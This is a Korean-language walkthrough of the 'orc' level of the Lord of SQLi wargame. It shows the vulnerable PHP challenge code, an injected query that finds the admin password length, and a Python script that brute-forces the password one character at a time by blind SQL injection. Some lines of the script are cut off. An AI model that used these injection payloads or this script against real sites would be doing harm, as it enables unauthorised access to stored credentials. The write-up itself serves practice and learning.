Lord of SQLi - orc

> query : select id from prob_orc w here id='admin' and pw =''

```
<?php
  include "./config.php";
  login_chk();
  dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysql_fetch_array(mysql_query($query));
  if($result['id']) echo "<h2>Hello admin</h2>";
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysql_fetch_array(mysql_query($query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
  highlight_file(__FILE__);
?>
```

- GET 방식으로 파라미터를 넘겨주고 있다.
- pw 파라미터에서 prob, _, ., (,) 를 필터링하고있다.
- 이번에는 Hello admin 이라는 문구를 띄우더라도 그 밑줄에서 addslashes함수를 써서 쿼터를 필터링한다.

> select id from prob_orc w here id='admin' and pw =''|| id='admin' and length(pw)= $var #'

- $var를 1부터 1씩 증가시켜가면서 대입을 해보면 $var=8일 때 Hello admin 을 출력하는 것을 보고 admin의 pw 의 길이가 8이라는 것을 알 수 있다.

```
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
```

- 이 조건문으로 봤을 때 admin의 pw 도 알아내야 문제를 풀 수 있다.
- 스크립트를 짜서 풀었다.

```
# python 3.5.2
import urllib.request
MyHeader = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.3',
'Accept-Encoding': 'none',
'Accept-Language': 'en-US,en;q=0.8',
'Connection': 'keep-alive'}
#MyCookies = {'PHPSESSID': '68jotprn1p8enuiqjd12ahvgs7','_cfduid':'db874ed463a1dda475cbf0410b0e3f66c1494392708'}
length=8
pw=""
arr="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
for i in range(1,9):
        for j in range(0,62):
                url="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=*' || id='admin' and substr(pw,{
                r = urllib.request.Request(url,headers=MyHeader)
                r.add_header("Cookie","PHPSESSID=oa8na5v7q0h6m8dqu80mjmmsj5")
                data = urllib.request.urlopen(r).read().decode("utf-8")
                print(url)
                if data.find("Hello admin") != -1 :
                        pw = pw + arr[j]
                        print("This is    "+arr[j])
                        break
print(pw)
```